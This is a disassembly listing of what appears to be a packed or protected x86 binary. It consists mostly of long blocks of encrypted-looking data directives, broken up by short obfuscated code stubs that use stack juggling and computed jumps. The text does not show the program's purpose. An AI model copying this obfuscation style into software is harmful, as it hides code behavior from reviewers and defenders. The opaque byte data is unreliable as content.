		dd 0D45085DDh, 0D255F595h, 2C14E981h, 0CC5E4Bh,	0A42E267Bh
		dd 9370E9A7h, 0F439C586h, 0D06CB353h, 4BAD1E1Eh, 481BAFDFh
		dd 39F07E95h, 761207E4h, 6E583D2h, 9B78A7C2h, 3196CA41h
		dd 33A80D4Ch, 31972229h, 0DD00554Ch, 165C104Fh,	291B43h
		dd 0CD360000h, 38329AFDh, 0F63912B6h, 14256h, 2016F700h
		dd 1E7F33CBh, 0A0978D46h, 6A414DE1h, 4DE179FEh,	3F7BBE41h
		dd 0A6DEABFAh, 7617A5h,	0E1780DCAh, 0A36304C2h,	0DC53896Eh
		dd 1B414DE5h, 6AF697C6h, 4BACDCF8h, 0CF46F025h,	0DD7442D8h
		dd 634A117h, 0F9B50000h, 0E7A5F649h, 0F593C047h, 0D08DDE51h
		dd 0C578292Ch, 0F2D63A3Dh, 93921ED1h, 0EA6D29CEh, 0E76622B9h
		dd 0F37216B2h, 0A01DBBCh, 4D36655Bh, 0A2A6ED56h, 6A207512h
		dd 907B36F7h, 0B7C8A0C5h, 11DCEB60h, 51DD0C8Ch,	0B60AA2EAh
		dd 338E47B7h, 75B9038h,	7465D0h, 0A6AC0000h, 57512A2h
		dd 55F3D454h, 94E2B7B1h, 0BAEDD7AAh, 0E4790691h, 298E3554h
		dd 0B6BE3EFCh, 0D9FA71E3h, 9434414Dh, 9677AAF4h, 4DD9C54Ah
		dd 78AFF241h, 0A9173E8h, 387EB6h, 38990000h, 4DCE2B20h
		dd 0E6096C41h, 12A2A62Dh, 0FF9A6E39h, 0F5B4B040h, 0EDB8B438h
		dd 16233C6Fh, 69E34762h, 0B1414E3Dh, 6D29CFD8h,	0F98FDEE3h
		dd 49F53145h, 0FFFE5D4Ch, 0A2A687FFh, 88207512h, 0E9B49DC0h
		dd 3BDF7A1Fh, 58B8592Dh, 3C69CDAh, 95931FDEh, 0CE99B010h
		dd 0D9938475h, 23460255h, 0A982C8Bh, 2535FB6h, 79F20000h
		dd 0CB323AC6h, 94901CDEh, 8C4192C5h, 85B907D5h,	0C90A318Dh
		dd 0C88C2A7Fh, 0CC43997Ch, 0B414D36h, 24C885D6h, 27DF7928h
		dd 41836829h, 1C3C512Ah, 27CB82EDh, 0F47BE146h,	23414D36h
		dd 0DB88AFFEh, 0E909C24h, 0B2AE4F4Dh, 4BAC2E94h, 65000C51h
		dd 0BE1FC4E7h, 304EADA2h, 8529E34Ch, 80D10459h,	712225CDh
		dd 0F45532BEh, 304EE76Ch, 9ACD104Ch, 501F1092h,	0C5774C30h
		dd 6E12CDA6h, 5CFC9C89h, 0DF5E81D0h, 212FD38Ah,	791E9E5Fh
		dd 8F4D5BE3h, 0D672A756h, 30673A32h, 4202A7EAh,	0C9820E01h
		dd 0A43612CBh, 0E461724Ah, 2174FCB3h, 168884D9h, 61F66B21h
		dd 352F8C61h, 61F66B3Eh, 6B171CC4h, 1D4061F6h, 2FCF8CC1h
		dd 6A81BBEAh, 0FE9F1DDEh, 55635062h, 55A80D6Ch,	14C467B0h
		dd 9593D474h, 519232D4h, 7D1DBD0Eh, 2E253F9Ch, 696CD984h
		dd 264BE134h, 0A647C682h, 84141BC1h, 934A6CD9h,	65061EFh
		dd 0EBE08CD3h, 0FA14CCADh, 0E773860h, 16C559A9h, 0ADD53E7Fh
		dd 0BCFCC0B7h, 73A2F777h, 15F227h, 0F078AF67h, 0BCFCFD7Eh
		dd 0C98D2B77h, 0C98D2A7Fh, 0CD429E7Fh, 0A77BCFCh, 7198BCD7h
		dd 21860716h, 0BCFD343Bh, 0EF3E6377h, 20813E6Dh, 0BCFD3338h
		dd 4F956477h, 77BCFCC8h, 4669AA0Fh, 9BF08936h, 8C5D67Fh
		dd 86A9E864h, 3BD3h, 64197200h,	0DA0D4CD8h, 17A5A631h
		dd 2EDCEA76h, 0E4294BADh, 0F68B8545h, 0CC3D4B5h
		dd 0B93B3164h, 4C314EB6h, 5C83A622h, 4EEE65FFh,	0F4294C31h
		dd 2A2493A1h, 9D274316h, 0EA000000h, 2F39E179h,	8B2FC37Ah
		dd 0EF828ACFh, 0E0818F4Bh, 9BEB8048h, 0DC5C0422h, 5244BC5h
		dd 4DE6F39Bh, 7E0FAB41h, 4750F176h, 0B2B5F608h,	9E7F3D3Eh
		dd 0ABD6FF42h, 0F93C4Bh, 33A85817h, 0FA81F652h,	1CBF4C33h
		dd 4CEF227Ch, 0B6924B8Ch, 4C33FAC1h, 0FD7CA3F6h, 0F541F1ACh
		dd 7445D632h, 27BE1CD4h, 0A0000003h, 90C144ECh,	8ED352DAh
		dd 78292CE8h, 77243BC3h, 0DB3508B8h, 6111CCEFh,	781CBDEEh
		dd 7515B4E5h, 4109A1F2h, 72EE8FCEh, 366557FDh, 79F8593Ah
		dd 763B3AC6h, 0DA3736D2h, 2F39E179h, 3B3ADE7Ah,	40D8CDCEh
		dd 9ACD8C98h, 1FE9B149h, 73DFAE4Ah, 49B78DABh, 84080F40h
		dd 0C810C9C7h, 4BACCC1Eh, 5DE19AEFh, 0A1920C18h, 154C3114h
		dd 0A71C98B3h, 0AA4317E8h, 49h,	17A5A669h, 2EDCEA76h, 0F4294BADh
		dd 0A5AAB617h, 0D24C314Eh, 25D0588Fh, 129A5344h, 314F090Eh
		dd 0C4EB4E4Ch, 314EB7B8h, 5EA234Ch, 314E58DFh, 0B5A9F4Ch
		dd 25921A31h, 7A43162Ah, 35D36B21h, 5E095C91h, 0EFh, 39E179F5h
		dd 9BC37A2Fh, 4E35CA41h, 97A80D41h, 7830C899h, 36E93AC2h
		dd 0BAFF828Ah, 1B5BFFB2h, 4E364AC1h, 6A1D8D41h,	9D4F6819h
		dd 0D4CD3D7Eh, 4F7AD6FEh, 67F97CB1h, 414E694Fh,	0A8AF6B0Fh
		dd 0FAB5FFBh, 0B43E364Bh, 0D800F9B7h, 4BAD545Eh, 79CB4AAFh
		dd 0F6573484h, 1247E7A5h, 1859D75Bh, 52DC4BD5h,	8596568Fh
		dd 0A8F225E5h, 48A69475h, 0B748FA36h, 3A6F287Fh, 2B78FF83h
		dd 7BF06874h, 0BC5717D5h, 2F1A2479h, 0E56B698Dh, 1D4E94Fh
		dd 99550000h, 874516E9h, 953360E7h, 702D7EF1h, 651849CCh
		dd 52B65ADDh, 3332BE71h, 0A0DC96Eh, 706C259h, 1312B652h
		dd 0AAA1BB5Ch, 0ED366555h, 0C6794D36h, 544CDA0Fh, 5768672Dh
		dd 3C365B6h, 6A66405h, 0E5364B0Eh, 0C9888428h, 36D287A6h
		dd 8A0F592h, 0F91E1D40h, 0FD4B0BACh, 0A6A069BCh, 0A56107A5h
		dd 34D516ABh, 0AD2F9E2Ch, 0BAB2E74Bh, 31503738h, 316AA34Ch
		dd 0AFA9FC98h, 2B8B307Ch, 9F864316h, 4D000000h,	7429E179h
		dd 0F83D7CC8h, 0FE823D6Ch, 31D6FC76h, 0F296414Eh, 0E682D756h
		dd 0A3582A22h, 0D8A2AA20h, 0E662F657h, 414EBD71h, 0FD3E73A6h
		dd 0A05AC41Ch, 4E934BADh, 88845CFh, 0A2B98953h,	1C8C568Fh
		dd 0AB2E5DACh, 3CDD1E8Ah, 898C34EBh, 0A19D25D8h, 6B697842h
		dd 0F37EDC94h, 74000000h, 643508B8h, 520706A6h,	4C1D10B4h
		dd 3B68EF8Fh, 9779FC84h, 55DD90B3h, 2CE881D2h, 39E17829h
		dd 35D57526h, 4E9A7332h, 366554C9h, 79AC150Eh, 0C98D2AC6h
		dd 0F93A7Fh, 85A85817h,	7515B5E6h, 0D8CD19F2h, 29D5963Eh
		dd 16591814h, 846525C5h, 0BA53F793h, 4E35A9AEh,	648BEE41h
		dd 5DFD9DCCh, 79556DAh,	0DF38FA66h, 85E54BA6h, 0FD7B555h
		dd 0BF5B8CB0h, 0B4C0D1Bh, 0E6A23952h, 50E8B9B7h, 44E4B588h
		dd 386D8884h, 8D825E82h, 0CA4C36B7h, 87DA5297h,	0C482CC50h
		dd 0A4420D85h, 884564E0h, 5FFD68E4h, 1A3E532Ch,	24E484EFh
		dd 30D87021h, 34B87534h, 44A44257h, 0A2C979Ch, 589DC090h
		dd 2CB2B9A3h, 0B0E5900Ah, 0A2A6C76Dh, 0C96A5887h, 0DB84C987h
		dd 0F397E40Bh, 0E783D057h, 0F772523h, 9A000000h, 973FD8CDh
		dd 9BDE56D6h, 648BCE46h, 0C5791CF5h, 0DA7E333Dh, 0D873363Eh
		dd 0D4753430h, 0BA753430h, 0B46B3E36h, 0AC61000Ch, 0C3650400h
		dd 0A6640503h, 57C20E06h, 0C781E789h, 4, 4BA52h, 0D7290000h
		dd 243C875Ah
; ---------------------------------------------------------------------------
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	2056h
		mov	[esp], ebx
		push	esi
		mov	esi, 0AE8D6A4h
		push	ecx
		mov	ecx, esi
		mov	ebp, ecx
		pop	ecx
		pop	esi
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, ebx
		push	esi
		mov	esi, ebp
		mov	[eax], esi
		pop	esi
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		and	al, 0Ch
		mov	eax, 0AE8E225h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		retn	9CFDh
; ---------------------------------------------------------------------------
		db 33h
		dd 51136E51h, 29C6870Bh, 626DC3B9h, 5C2B3EFAh, 145B651h
		dd 4F285FD3h, 1A01885Ah, 55BF5750h, 4D79547Dh, 357F262h
		dd 70A8C8D7h, 6BC15D03h, 49701270h, 3E9571F8h, 5A54D3F2h
		dd 268DE22Dh, 7F965DFDh, 16779F8Fh, 5A7A76F0h, 3B394F46h
		dd 73752C67h, 5881BEB0h, 6E668EC7h, 66140927h, 0FB39CD2h
		dd 68A9D1BEh, 2AE9h, 60C1E300h,	809E0124h, 7Ch,	7 dup(0)
		dd 0E9000000h, 0DB1h, 0E8E4B968h, 9C73E90Ah, 0CA68FFFAh
		dd 0E90AE8E5h, 0FFFA9C69h, 0E8E73768h, 9C5FE90Ah, 8568FFFAh
		dd 0E90AE8E8h, 0FFFA9C55h, 0E8EA7E68h, 9C4BE90Ah, 0B668FFFAh
		dd 0E90AE8ECh, 0FFFA9C41h, 0E8EE2668h, 9C37E90Ah, 0FB68FFFAh
		dd 0E90AE8EEh, 0FFFA9C2Dh, 8B7FB8C3h, 13C700B6h, 9F4B8C3Eh
		dd 1AD009BAh, 0E4569127h, 5B6D578Bh, 0A0D72AE0h, 295EB367h
		dd 0B5C73AF0h, 0F783807Ah, 0F6C87BA4h, 67A7523Bh, 42C80349h
		dd 64A3EB8Eh, 0DE3B15E6h, 0A5B971AAh, 0AB517A21h, 772446DFh
		dd 3117D31Dh, 0C80E6209h, 0BA613CFCh, 1358DC90h, 3BFC85EAh
		dd 0ABFCD8C3h, 3BFC867Eh, 0C99F43FCh, 4D95F13Ch, 5234h
		dd 0ABD1B400h, 0A8002470h, 0AB5E87D4h, 443746DFh, 3C0ACE08h
		dd 94BD6D3Eh, 0CC403CFCh, 2624E7A9h, 9299C2D5h,	2F5D3BFCh
		dd 95E556F4h, 0D813A5E6h, 9B8FC932h, 14416AF0h,	4A3BFC92h
		dd 841809D5h, 0FC91AED7h, 0B894873Bh, 95C9EE97h, 0C2E24Dh
		dd 49920000h, 6F42C803h, 197C9E59h, 3F92B873h, 0F5E8528Dh
		dd 370406C1h, 421E6DDDh, 2C46DFA7h, 92F7A39Ch, 0A72D2DE6h
		dd 0D685A5A3h, 3CFCBC3Eh, 0B2B06A11h, 0C1EA50B6h, 321827D9h
		dd 0E32469ACh, 19219467h, 0AC044572h, 4D0961E4h, 0CD3164DEh
		dd 0E068A402h, 4A00FB8Dh, 0AAF14177h, 46D8EB81h, 88F4A754h
		dd 9E5B91Fh, 54A046FAh,	0F000000Bh, 675A10C9h, 0EF229857h
		dd 6BAE1CDBh, 0D429E126h, 74B367A0h, 0B16A1A86h, 38F184F9h
		dd 817E0F42h, 0BC4F4C9h, 7526B45Fh, 3BF6C74Ch, 49367421h
		dd 0ED265207h, 7F2B9E6Dh, 36F786FBh, 84CDFFDAh,	0B01535F2h
		dd 3516C90Eh, 24964982h, 0E35C6D00h, 64B89467h,	86A4A2A6h
		dd 0FC9425D5h, 0E763083Ch, 0FC9287B4h, 9658C53Bh, 95C935B2h
		dd 0D73F4Dh, 0D0BB0000h, 6B445029h, 0F9224924h,	0CC3BFC0Fh
		dd 0FC206CDFh, 42C80349h, 6F51FD8Eh, 833A0E98h,	9B5C6049h
		dd 3467FB7Fh, 46DF100Bh, 19C639E2h, 5BF95068h, 6B4758B4h
		dd 0F246DF2Eh, 0E22EE99Fh, 338AC5F7h, 3C5FEECFh, 56AB1FD2h
		dd 0E361E922h, 5C2F7E7h, 0A4D53605h, 3EB2B86Bh,	97C8F1BAh
		dd 0EE9D46DFh, 0ADE981A2h, 59BC3CFCh, 0E556F437h, 0EEEA7832h
		dd 1D3DFE8Eh, 0ACFF7B2Eh, 32181433h, 443901EAh,	9B5C6130h
		dd 61D98C7Fh, 81C9982Ch, 8477C446h, 0E5DDCD58h,	0FE90B409h
		dd 0A43h, 4B3FF883h, 0D3874076h, 5F0BCCFEh, 0DA90497Ah
		dd 0A416D1E7h, 9B2D974Bh, 0E097EAA0h, 691E7327h, 0F587FAB0h
		dd 37C3403Ah, 0F6C63B64h, 2767123Bh, 16C40749h,	9C4E8933h
		dd 0C803498Ch, 0E25D6F42h, 5A952558h, 0B9014BB0h, 9159AFABh
		dd 0FCC976CAh, 78F2193Ch, 5BD9B994h, 76252598h,	3BFC324Ah
		dd 0D4D59986h, 31E20B50h, 0D0BB3BFCh, 0ADAA5384h, 0F3DE4D95h
		dd 0CE000006h, 86A4A2A6h, 0FCA8D9D5h, 7E01643Ch, 6E27BB3Dh
		dd 0EA5D8DD4h, 89917AAEh, 6A1C71F5h, 4B5EADADh,	3BFC6822h
		dd 0E3C410FBh, 3BFC67B6h, 81A70B34h, 4D9597E4h,	6B9ECh
		dd 0A2A69800h, 0DD586A4h, 603CFC98h, 0AEDABFBBh, 96305902h
		dd 16053BFCh, 7854A7A3h, 969ECBD0h, 3A4E3BFCh, 576459C1h
		dd 0B22709Ah, 0E51AD1A7h, 0C1D66F79h, 7FDA4D95h, 0CA000006h
		dd 0FC91579Ch, 0B50E92CFh, 31E1023h, 1741CA50h,	1BAD0DCDh
		dd 1ED13A20h, 9BD38FDCh, 21CA3CFBh, 0D6E69B1Fh,	0CA06F515h
		dd 0E6DC05D9h, 54B2B6B7h, 0FB9E1296h, 6F515D2h,	0E8E9CAF3h
		dd 9CF8A3BFh, 5FB238Bh,	89917AB6h, 2109FFFBh, 0E6C1B67Ah
		dd 832D9B0h, 6FA8D1B4h,	3C843425h, 0E8E1466Fh, 0B96C1FBFh
		dd 40086DC1h, 5C6C4D87h, 6D114075h, 0E85BA0AAh,	0C452CB35h
		dd 0AD4190D5h, 8D60Bh, 924B7E00h, 1AD5E5D8h, 9E596DA0h
		dd 63A4E92Ch, 0E92252B7h, 9804F631h, 24733F4h, 8DC0BA73h
		dd 725703FCh, 36DD8D46h, 0C3CEF7A4h, 0FAA73BF6h, 0C80349ACh
		dd 2A7B0F62h, 54A7A39Ch, 469279E1h, 14BBDE92h, 7B7FF9D3h
		dd 0CCFEAD8Dh, 733CF889h, 67B16A1Eh, 99E25843h,	3BF6C89Ch
		dd 1890A156h, 6F99D44h,	0D2FBA024h, 0AB3BF6F7h,	3C458DC0h
		dd 12EE9FECh, 0D7E5A4C6h, 0D78AAE1Ch, 242E6AA5h, 81052529h
		dd 0FB1FD8ECh, 0B2E3C410h, 9B3BF6C4h, 45776AF0h, 0AECBD08Ah
		dd 5E3BF6C5h, 0C73AF029h, 1CD07AB5h, 0C4AAD398h, 0E833BF6h
		dd 81CBBE7Fh, 0F895719Eh, 47EB4244h, 0FEAD15A7h, 51C894D5h
		dd 5A10C3A8h, 1CDBE386h, 0CA508F3Fh, 96221741h,	0C1EEBD5Dh
		dd 8151C884h, 0EDAAD0B5h, 32801D69h, 8E8C7F0Eh,	38BA53BDh
		dd 0B169A2D6h, 73B4D8BDh, 174F319h, 0A8AB0000h,	0C04A8535h
		dd 9038117Bh, 0CF2EDCD7h, 26992DD6h, 9B5C6104h,	0A0C599B1h
		dd 0CF3CDE1Bh, 5DE79485h, 0DFA7E50Eh, 60D3B846h, 0D512A7DAh
		dd 6E8AC635h, 0DFA8143Dh, 77B0D846h, 0EF5911D3h, 0A962164Bh
		dd 0FA7E5AA1h, 0F8877FB1h, 7BA5563Ch, 14C7D9D0h, 888D23C7h
		dd 0CC000007h, 0B39644BDh, 3B1ECC0Bh, 0A79A5097h, 2065D512h
		dd 80EF5B9Ch, 0E5265652h, 6CADD035h, 0F5325BBEh, 7FB8C005h
		dd 0A9F2788Bh, 3BF6C380h, 4962A855h, 6BA34803h,	629CAFFEh
		dd 0B76A93D8h, 584346DEh, 9F2045E5h, 0E4BB05Ah,	0AF9CBE7Fh
		dd 0ACD0B565h, 19AACF6Bh, 16D1FB20h, 7DCD07F4h,	0C4B67318h
		dd 3A00FB81h, 53F73047h, 0D81FA3E8h, 3B8FC932h,	5902B6C6h
		dd 46DEB730h, 0A7A31605h, 0D179B2C2h, 8565C966h, 493238F3h
		dd 4D1D7EC2h, 3088C42Fh, 7675621Bh, 2D6647h, 0AFC20000h
		dd 0B7F7211Eh, 0AA4B23A8h, 3116785Eh, 0D231E7h,	0CAB10000h
		dd 0FFDB2486h, 6D96C529h, 4046DFA4h, 6BB5E85Bh,	0E76B5E2Eh
		dd 49B2F2DEh, 8E42C803h, 7B1B34FDh, 0CE012B4Eh,	13F4F8BDh
		dd 998AC6DDh, 46DEE36Ch, 4A7BE75Ch, 54076C01h, 0DF7DDE07h
		dd 91C4B746h, 274D00A2h, 5EEB4AD1h, 90F9D386h, 0E77B2FE8h
		dd 0DF39F282h, 0F614CDFAh, 0DF3579A5h, 0E24CF546h, 0CCBE7B00h
		dd 89427568h, 495F4Fh, 65E4CA47h, 76295276h, 2BEC91F4h
		dd 34335C0Fh, 610A46DFh, 0CB4F0337h, 0DF3477A0h, 735D4E46h
		dd 92B87106h, 0ABD0B5A5h, 351FEC6Eh, 30555618h,	0FAC1498Eh
		dd 6DD6399Bh, 277124D3h, 9E4C8532h, 0DEEAED8Dh,	2CEF9146h
		dd 652AD679h, 38204776h, 98FFFFFEh, 0F22E5704h,	140746DEh
		dd 2F8AE438h, 22000003h, 0C88335A8h, 0DF933E5Eh, 0B59F5248h
		dd 5FFB3444h, 0DF652F4Ch, 8F53CA46h, 0A8924D7Fh, 655E87D4h
		dd 0D23746DFh, 5EBA6DA6h, 2AE597EAh, 80C9AC20h,	0B86BACD1h
		dd 6EEC2B53h, 5370B39Dh, 3B46DF65h, 0F1945691h,	7C2F0BCCh
		dd 46DF6553h, 0E317412Ah, 5B9F6961h, 0F843DE10h, 0BAE1653Ch
		dd 3BF70691h, 0B9FD6643h, 809AD7A7h, 8269B19Bh,	0C7A6A946h
		dd 0DA7C9014h, 58Fh, 9F4B8437h,	67D30CBAh, 0E3579022h
		dd 6EDC1DAEh, 0E8A2652Bh, 2F514BBFh, 0B4DB3EECh, 35428773h
		dd 81CB0EFCh, 0FB7F9446h, 0F6C187B0h, 6BA35E3Bh, 498235A8h
		dd 3B1E7AC1h, 0D1B45691h, 5BBE6CAFh, 0C104F631h, 0FBDE7CBFh
		dd 0F0812D5h, 0BF01B62Bh, 0DFAAC3ECh, 3EF19A46h, 57B73BD2h
		dd 8E4B7021h, 0BB4CBF8Ch, 9801EE73h, 0B13535E8h, 0DEB9C1EAh
		dd 4D719446h, 0C8BB808Ah, 661F3C8Ch, 6A477625h,	232h, 0A3A7A61Ah
		dd 6D21F4A7h, 4AEB50F2h, 2A27C0E8h, 1B2DB998h, 59000002h
		dd 87A3A7A6h, 169F23F4h, 0A8E4022Dh, 0EAD2FBA0h, 107B46DEh
		dd 83937A5Eh
		dd 0CEDA3675h, 9B6E3DDDh, 0C350F222h, 0FDD07ABDh, 0B90812CDh
		dd 0E35ADE80h, 2FD8F072h, 25B99861h, 1DEh, 0A3A7A651h
		dd 0AA9FD487h, 9D8E46DFh, 6D5B2E7Dh, 6C9150F2h,	1EACC1C2h
		dd 86D23921h, 982AA855h, 1B8A0B9h, 65180000h, 0FB7F9B54h
		dd 0F0A587B0h, 0FAAD5E47h, 35A88E9Eh, 0EFC24883h, 62AE61DEh
		dd 0D961E598h, 0DFAB6192h, 3B60E446h, 46DFAB12h, 0D4D400EBh
		dd 40CA0DB1h, 4E0208FBh, 0B4B67D3Dh, 8DC74692h,	0F241C79Ah
		dd 4E100D50h, 9806CD7Ah, 2E7DF1B9h, 47F0D105h, 27D933D8h
		dd 15Eh, 0C8034957h, 0A5EB8E42h, 3913F862h, 6518A8D0h
		dd 5D869952h, 3046DFABh, 22984Bh, 2F7CFE48h, 3CFCC7DBh
		dd 5A41C9B2h, 3BFC862Dh, 1830B2A3h, 4D95F16Fh, 3D65h, 35A81100h
		dd 6DAADF82h, 0AFAB1EEDh, 7234BFDCh, 0D28548ECh, 8A7C7C86h
		dd 724BFBA0h, 79223CFCh, 709DCAD1h, 22D33BFCh, 600B8F80h
		dd 3BFC7037h, 331D0Eh, 4D95EB67h, 0BB6Dh, 3491900h, 596F42C8h
		dd 73197C9Eh, 8D3F92B8h, 0B7939852h, 4646DFA7h,	0A77099C2h
		dd 427446DFh, 64B68585h, 0B05A9D21h, 5DBC984Bh,	2C06F42Fh
		dd 4B10DA2Ch, 3CFB4E4Ch, 0C50248CDh, 2703F645h,	0CBCFF8A3h
		dd 0F5A63BF9h, 8A3A5F9Bh, 10A49951h, 0CBD2FBA0h, 918C3BF9h
		dd 23A2548Eh, 25988397h, 0C3FB44FBh, 39DF7314h,	357h, 0A713CCFFh
		dd 2F9B5462h, 0AB1FD8EAh, 36E42556h, 0B06AADD3h, 77198377h
		dd 0FC83C6B4h, 7D0A4F3Bh, 0C9F3D684h, 23B75C0Eh, 0F6BF4F78h
		dd 337B263Bh, 429C23A8h, 6C35C10Fh, 0D1047261h,	408C45E5h
		dd 46E42769h, 0B05A9D23h, 44B9014Bh, 0FF0FFB34h, 42C80349h
		dd 41745D6Fh, 0F1CC3C08h, 46399D76h, 6E032793h,	8BA9F58h
		dd 94C04BCFh, 0DEF46793h, 66E09846h, 0F25F97C4h, 45363CFBh
		dd 3498595h, 5D6F42C8h,	0AB9DC695h, 1D7046DFh, 0DC0B36Ch
		dd 5605995Dh, 46DFAB2Dh, 37311B00h, 4615D533h, 3CFCC7F2h
		dd 0C84CEE9Dh, 0FC867AA3h, 6CA8533Bh, 85B2DFCCh, 37283BFCh
		dd 0F1E09DABh, 0BBDE4D95h, 0FE3B4011h, 0D03C0F0Bh, 2D2Eh
		dd 0A2A65E00h, 25D586A4h, 0D83CFC94h, 91EE1744h, 42C73BFCh
		dd 0CA06F932h, 7E2D2DDEh, 3BFC9251h, 0FCCC968Fh, 4D95C943h
		dd 0B749h, 3493500h, 596F42C8h,	73197C9Eh, 4D3EB2B8h, 7F0191EEh
		dd 0B6DF32B7h, 8F46DF9Dh, 2598B09Ch, 9DEE5C97h,	46DF9AC1h
		dd 0A265294Ch, 0BE790376h, 8C389CCh, 0BE884002h, 0B4CBEFBCh
		dd 99823CFCh, 127E0D21h, 754C570Fh, 8F4B95FFh, 0D9EAB1B9h
		dd 0BC321801h, 46766BCFh, 0BBC0A585h, 0B2B6127Eh, 16446D3Eh
		dd 721946D9h, 4A8D3326h, 0E58ED51Eh, 7628CC09h,	1E7h, 37E35C6Fh
		dd 0BF6BA4D2h, 3BEF285Ah, 8674B5C6h, 0FA3D43h, 0C789F3E7h
		dd 4C735604h, 0CDFADF8Bh, 5963A614h, 53272C9Eh,	0F6BCDF08h
		dd 0C3CBB63Bh, 16C40749h, 4ECE8933h, 0E470E3BDh, 72BA7023h
		dd 766723A8h, 80C1C1BAh, 78CE8A54h, 0E5F9A9F2h,	2FDC3CFBh
		dd 0F553802Bh, 94893BFBh, 6641FECAh, 0A74B4D95h, 3B000000h
		dd 42C80349h, 5C9E596Fh, 0AB6A93D8h, 584346DFh,	0F3CFDC7Ch
		dd 9B46DFA7h, 0E04436F1h, 0EEA7BB9Bh, 3E1A5697h, 5A01B1DBh
		dd 46DF2D31h, 2D5E87D4h, 443746DFh, 88924536h, 2208FEFAh
		dd 0FC405579h, 0E753383Ch, 0BFBB8D4Dh, 17FFFCECh, 8F3E5332h
		dd 3A5F9B4Eh, 4599518Ah, 0B1599E20h, 652B0E4Ah,	842B66A2h
		dd 0FE1209E5h, 11258h, 0CE07B200h, 5691391Ch, 0DA1DA1E4h
		dd 5F982D60h, 25E696EBh, 0DCC83A75h, 46BB6FA8h,	0C104F637h
		dd 0B68B7FB8h, 0F211C902h, 0BD0A3378h, 36E33BF6h, 0C40749F0h
		dd 4E893316h, 3498C9Ch,	0EB8E42C8h, 0C33662A5h,	0A68C7EB9h
		dd 286A4A2h, 0CC5A9579h, 5CE3054Eh, 0EAC84F9Ah,	0C3E430E3h
		dd 3CF7A88Dh, 36A30F7Ch, 0BEF13658h, 1DD03899h,	0B7F098FDh
		dd 137D3982h, 0B763D6A4h, 376D2652h, 943C7A59h,	453802F5h
		dd 7D9DF730h, 6F7B802Eh, 5A96616h, 0F98AD7E5h, 7E311A00h
		dd 0C803498Ch, 0BF780F62h, 0B464B09Bh, 6F1CACD1h, 1D84C169h
		dd 143D508Eh, 0E9227F68h, 74B7D902h, 94249981h,	0AADABF5Bh
		dd 0F16EE971h, 68E20B6Dh, 84864175h, 3EA05DB7h,	0A5EC7E0Dh
		dd 0D388D225h, 5FB96CABh, 79034E7Ah, 0A6FCBBEh,	0B685857Eh
		dd 0E1ABEE5Ah, 20822426h, 1A000000h, 0DC9E23A8h, 2C6C0511h
		dd 65AF747Ah, 7B5508C6h, 94C75B9Fh, 46DF006Bh, 4E705942h
		dd 495F4F89h, 6C41C902h, 267E35Ch, 3B9EBC75h, 0D2B75394h
		dd 8CE169A2h, 0A61B3FF8h, 5336D415h, 0F62E82Fh,	0B99A807Fh
		dd 4D9468h, 24348900h, 0C681E689h, 4, 8704EE83h, 685C2434h
		dd 1E5Ch, 50241489h, 405E089h, 2D000000h, 4, 5C240487h
		dd 50242C89h, 3257CEB8h, 0F7D0F712h, 1A9425D0h,	1D2D3C52h
		dd 2D676438h, 876A692Dh, 0C158C289h, 0E28108EAh, 60D61170h
		dd 0E21AC281h, 0E8680AE8h, 8900005Ah, 4812424h,	424h, 0FA685D00h
		dd 8900003Ah, 34812414h, 3C798324h, 8458F3Dh, 83087581h
		dd 8B3D3C79h
; ---------------------------------------------------------------------------
		sub	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		db 0BCh, 55h, 47h
		dd 0F032B804h, 0C5030AE8h, 9C6DE0FFh, 0E4847391h, 0C7823846h
		dd 0F38C1F22h, 75A73C8h, 74736B33h, 42F00A95h, 333A6539h
		dd 0AB0C4D2Ah, 0FD200BC9h, 0D34A5862h, 71A63E27h, 0B7DC6103h
		dd 521F1D59h, 64523FDFh, 0F718215Ch, 0E8F76B7h,	63E52AFEh
		dd 975F1A49h, 0AB5D6EEFh, 0CBFB1940h, 8CC61F26h, 0F43F5D49h
		dd 0D6402379h, 8A73484Eh, 0C4767144h, 1DC677A2h, 3EE94512h
		dd 0D9000000h, 2D0FAh, 57000000h, 434AC51Ch, 0F9366148h
		dd 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h,	9D8993h
		dd 921DF4C7h, 0DE196063h, 4 dup(0)
		dd 0AE8E900h, 9A680000h, 0E90AE8F2h, 0FFFA8E05h, 0E8F42268h
		dd 8DFBE90Ah, 6568FFFAh, 0E90AE8F5h, 0FFFA8DF1h, 0E8F61268h
		dd 8DE7E90Ah, 0DB68FFFAh, 0E90AE8F6h, 0FFFA8DDDh, 0E8F7CB68h
		dd 8DD3E90Ah, 7868FFFAh, 0E90AE8F8h, 0FFFA8DC9h, 0E8FA5468h
		dd 8DBFE90Ah, 3468FFFAh, 0E90AE8FBh, 0FFFA8DB5h, 13C7004Bh
		dd 9B4F883Eh, 67D314A6h, 0E2589122h, 6CDE19AFh,	0A3D5CF03h
		dd 285FB268h, 0B1C63BEFh, 3D4F8278h, 7FFB08C2h,	0F6B9032Ch
		dd 0EF3FDA3Bh, 86A4A2A6h, 0F218DFE3h, 7A2DEA9Fh, 65AF6811h
		dd 7D0FC695h, 0DFE3CF8h, 0C700482Dh, 8BADF13h, 0E49485CFh
		dd 0A5A52F2Bh, 0ADDE8335h, 64C6B96Ch, 3EF98DE0h, 0C2E52F1Ch
		dd 320F8B72h, 0BAFF8005h, 4EBDFB44h, 9B4E0154h,	558E3A5Fh
		dd 0DF18A0E5h, 57B1A93Bh, 70C8C893h, 5C4F3CFCh,	0C2260960h
		dd 4AEC0014h, 956h, 0BB6FA8D3h,	3F73046h, 8F7BBCCEh, 0AC0394Ah
		dd 94468137h, 4B7D679Bh, 0D0E7DA90h, 596EA317h,	0A5D72AE0h
		dd 0C793B06Ah, 0F6B96B94h, 5757423Bh, 295E0349h, 0C5966AF0h
